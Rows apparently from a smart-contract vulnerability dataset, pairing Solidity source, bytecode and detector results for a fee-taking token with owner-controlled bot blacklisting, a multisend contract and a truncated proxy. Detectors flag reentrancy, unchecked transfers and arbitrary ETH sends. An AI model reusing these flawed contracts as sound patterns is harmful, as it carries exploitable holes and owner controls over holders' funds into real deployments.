} function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12, "not larger than 12%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f6578063cf0848f71461040b578063cf9d4afa1461042b578063dd62ed3e1461044b578063e6ec64ec14610491578063f2fde38b146104b157600080fd5b8063715018a61461032d5780638da5cb5b1461034257806390d49b9d1461036a57806395d89b411461038a578063a9059cbb146103b6578063b515566a146103d657600080fd5b806331c2d8471161010857806331c2d847146102465780633bbac57914610266578063437823ec1461029f578063476343ee146102bf5780635342acb4146102d457806370a082311461030d57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610212578063313ce5671461023257600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d1565b005b34801561017e57600080fd5b5060408051808201909152600f81526e496e7520576f6d656e27732044617960881b60208201525b6040516101b39190611915565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461198f565b61051d565b60405190151581526020016101b3565b3480156101f857600080fd5b5068020f5b1eaad8d800005b6040519081526020016101b3565b34801561021e57600080fd5b506101dc61022d3660046119bb565b610534565b34801561023e57600080fd5b506009610204565b34801561025257600080fd5b50610170610261366004611a12565b61059d565b34801561027257600080fd5b506101dc610281366004611ad7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ab57600080fd5b506101706102ba366004611ad7565b610633565b3480156102cb57600080fd5b50610170610681565b3480156102e057600080fd5b506101dc6102ef366004611ad7565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031957600080fd5b50610204610328366004611ad7565b6106bb565b34801561033957600080fd5b506101706106dd565b34801561034e57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037657600080fd5b50610170610385366004611ad7565b610713565b34801561039657600080fd5b506040805180820190915260038152621255d160ea1b60208201526101a6565b3480156103c257600080fd5b506101dc6103d136600461198f565b61078d565b3480156103e257600080fd5b506101706103f1366004611a12565b61079a565b34801561040257600080fd5b506101706108b3565b34801561041757600080fd5b50610170610426366004611ad7565b61096a565b34801561043757600080fd5b50610170610446366004611ad7565b6109b5565b34801561045757600080fd5b50610204610466366004611af4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049d57600080fd5b506101706104ac366004611b2d565b610c10565b3480156104bd57600080fd5b506101706104cc366004611ad7565b610c86565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104fb90611b46565b60405180910390fd5b600061050f306106bb565b905061051a81610d1e565b50565b600061052a338484610e98565b5060015b92915050565b6000610541848484610fbc565b610593843361058e85604051806060016040528060288152602001611cc1602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fc565b610e98565b5060019392505050565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104fb90611b46565b60005b815181101561062f576000600560008484815181106105eb576105eb611b7b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062781611ba7565b9150506105ca565b5050565b6000546001600160a01b0316331461065d5760405162461bcd60e51b81526004016104fb90611b46565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062f573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052e90611436565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104fb90611b46565b61071160006114ba565b565b6000546001600160a01b0316331461073d5760405162461bcd60e51b81526004016104fb90611b46565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052a338484610fbc565b6000546001600160a01b031633146107c45760405162461bcd60e51b81526004016104fb90611b46565b60005b815181101561062f57600c5482516001600160a01b03909116908390839081106107f3576107f3611b7b565b60200260200101516001600160a01b0316141580156108445750600b5482516001600160a01b039091169083908390811061083057610830611b7b565b60200260200101516001600160a01b031614155b156108a15760016005600084848151811061086157610861611b7b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ab81611ba7565b9150506107c7565b6000546001600160a01b031633146108dd5760405162461bcd60e51b81526004016104fb90611b46565b600c54600160a01b900460ff166109415760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fb565b600c805460ff60b81b1916600160b81b17905542600d8190556109659060b4611bc2565b600e55565b6000546001600160a01b031633146109945760405162461bcd60e51b81526004016104fb90611b46565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016104fb90611b46565b600c54600160a01b900460ff1615610a475760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fb565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611bda565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611bda565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba49190611bda565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b81526004016104fb90611b46565b600c811115610c815760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104fb565b600855565b6000546001600160a01b03163314610cb05760405162461bcd60e51b81526004016104fb90611b46565b6001600160a01b038116610d155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fb565b61051a816114ba565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6657610d66611b7b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611bda565b81600181518110610df657610df6611b7b565b6001600160a01b039283166020918202929092010152600b54610e1c9130911684610e98565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e55908590600090869030904290600401611bf7565b600060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fb565b6001600160a01b038216610f5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fb565b6001600160a01b0382166110825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fb565b600081116110e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fb565b6001600160a01b03821660009081526005602052604090205460ff161561110a57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156111b25760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fb565b6001600160a01b03831660009081526004602052604081205460ff161580156111f457506001600160a01b03831660009081526004602052604090205460ff16155b801561120a5750600c54600160a81b900460ff16155b801561123a5750600c546001600160a01b038581169116148061123a5750600c546001600160a01b038481169116145b156113ea57600c54600160b81b900460ff166112985760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fb565b50600c546001906001600160a01b0385811691161480156112c75750600b546001600160a01b03848116911614155b80156112d4575042600e54115b1561131c5760006112e4846106bb565b905061130560646112ff68020f5b1eaad8d80000600261150a565b90611589565b61130f84836115cb565b111561131a57600080fd5b505b600d5442141561134a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611355306106bb565b600c54909150600160b01b900460ff161580156113805750600c546001600160a01b03868116911614155b156113e85780156113e857600c80546113b3916064916112ff91906113ad906001600160a01b03166106bb565b9061150a565b8111156113df57600c80546113dc916064916112ff91906113ad906001600160a01b03166106bb565b90505b6113e881610d1e565b505b6113f68484848461162a565b50505050565b600081848411156114205760405162461bcd60e51b81526004016104fb9190611915565b50600061142d8486611c68565b95945050505050565b600060065482111561149d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fb565b60006114a761172d565b90506114b38382611589565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115195750600061052e565b60006115258385611c7f565b9050826115328583611c9e565b146114b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fb565b60006114b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611750565b6000806115d88385611bc2565b9050838110156114b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fb565b80806116385761163861177e565b6000806000806116478761179a565b6001600160a01b038d166000908152600160205260409020549397509195509350915061167490856117e1565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116a390846115cb565b6001600160a01b0389166000908152600160205260409020556116c581611823565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170a91815260200190565b60405180910390a3505050508061172657611726600954600855565b5050505050565b600080600061173a61186d565b90925090506117498282611589565b9250505090565b600081836117715760405162461bcd60e51b81526004016104fb9190611915565b50600061142d8486611c9e565b60006008541161178d57600080fd5b6008805460095560009055565b6000806000806000806117af876008546118af565b9150915060006117bd61172d565b90506000806117cd8a85856118dc565b909b909a5094985092965092945050505050565b60006114b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fc565b600061182d61172d565b9050600061183b838361150a565b3060009081526001602052604090205490915061185890826115cb565b30600090815260016020526040902055505050565b600654600090819068020f5b1eaad8d800006118898282611589565b8210156118a65750506006549268020f5b1eaad8d8000092509050565b90939092509050565b600080806118c260646112ff878761150a565b905060006118d086836117e1565b96919550909350505050565b600080806118ea868561150a565b905060006118f8868661150a565b9050600061190683836117e1565b92989297509195505050505050565b600060208083528351808285015260005b8181101561194257858101830151858201604001528201611926565b81811115611954576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051a57600080fd5b803561198a8161196a565b919050565b600080604083850312156119a257600080fd5b82356119ad8161196a565b946020939093013593505050565b6000806000606084860312156119d057600080fd5b83356119db8161196a565b925060208401356119eb8161196a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2557600080fd5b823567ffffffffffffffff80821115611a3d57600080fd5b818501915085601f830112611a5157600080fd5b813581811115611a6357611a636119fc565b8060051b604051601f19603f83011681018181108582111715611a8857611a886119fc565b604052918252848201925083810185019188831115611aa657600080fd5b938501935b82851015611acb57611abc8561197f565b84529385019392850192611aab565b98975050505050505050565b600060208284031215611ae957600080fd5b81356114b38161196a565b60008060408385031215611b0757600080fd5b8235611b128161196a565b91506020830135611b228161196a565b809150509250929050565b600060208284031215611b3f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bbb57611bbb611b91565b5060010190565b60008219821115611bd557611bd5611b91565b500190565b600060208284031215611bec57600080fd5b81516114b38161196a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c475784516001600160a01b031683529383019391830191600101611c22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7a57611c7a611b91565b500390565b6000816000190483118215151615611c9957611c99611b91565b500290565b600082611cbb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ecc0eefb7f5a53e82dac497e3e81e40eff7000916bd06c2829abefa541eda16e64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,733
0x7caba62d1a99777025770c2e0512520ad62146e6
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Taraxa Multisend Contract * * The Multisend Contract is used to do multiple ERC20 token transfers in the same transaction */ contract Multisend { using SafeMath for uint256; /** * @dev Transfers the tokens from a Taraxa owned wallet to the participant. * * Emits a {TokensSent} event. */ function multisendToken( address token, address[] calldata _recipients, uint256[] calldata _amounts ) public { require(_recipients.length <= 200, 'Multisend: max transfers per tx exceeded'); require( _recipients.length == _amounts.length, 'Multisend: contributors and balances have different sizes' ); uint256 total = 0; IERC20 erc20token = IERC20(token); uint8 i = 0; for (i; i < _recipients.length; i++) { erc20token.transferFrom(msg.sender, _recipients[i], _amounts[i]); total += _amounts[i]; } emit TokensSent(total, token); } /** * @dev Emitted after all the tokens have been transfered. */ event TokensSent(uint256 total, address tokenAddress); }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80630b66f3f514610030575b600080fd5b61011c6004803603606081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561008357600080fd5b82018360208201111561009557600080fd5b803590602001918460208302840111640100000000831117156100b757600080fd5b9091929391929390803590602001906401000000008111156100d857600080fd5b8201836020820111156100ea57600080fd5b8035906020019184602083028401116401000000008311171561010c57600080fd5b909192939192939050505061011e565b005b60c884849050111561017b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806103bb6028913960400191505060405180910390fd5b8181905084849050146101d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806103826039913960400191505060405180910390fd5b60008086905060005b868690508160ff161015610322578173ffffffffffffffffffffffffffffffffffffffff166323b872dd3389898560ff1681811061021c57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1688888660ff1681811061024857fe5b905060200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156102bf57600080fd5b505af11580156102d3573d6000803e3d6000fd5b505050506040513d60208110156102e957600080fd5b81019080805190602001909291905050505084848260ff1681811061030a57fe5b905060200201358301925080806001019150506101e2565b7fd11c023ea5674fe0e6bd2eccf19ab7328cad728907e2c7a8355adea75f19cb9a8389604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050505050505056fe4d756c746973656e643a20636f6e7472696275746f727320616e642062616c616e636573206861766520646966666572656e742073697a65734d756c746973656e643a206d6178207472616e736665727320706572207478206578636565646564a26469706673582212208a1a35ec9dc7695312312f86cea4886fd56e423ed35756a77c608e098ded0f8f64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
2,734
0x78bc5225777ef86b51e437b2f9f8278cf20ebdee
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal; /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 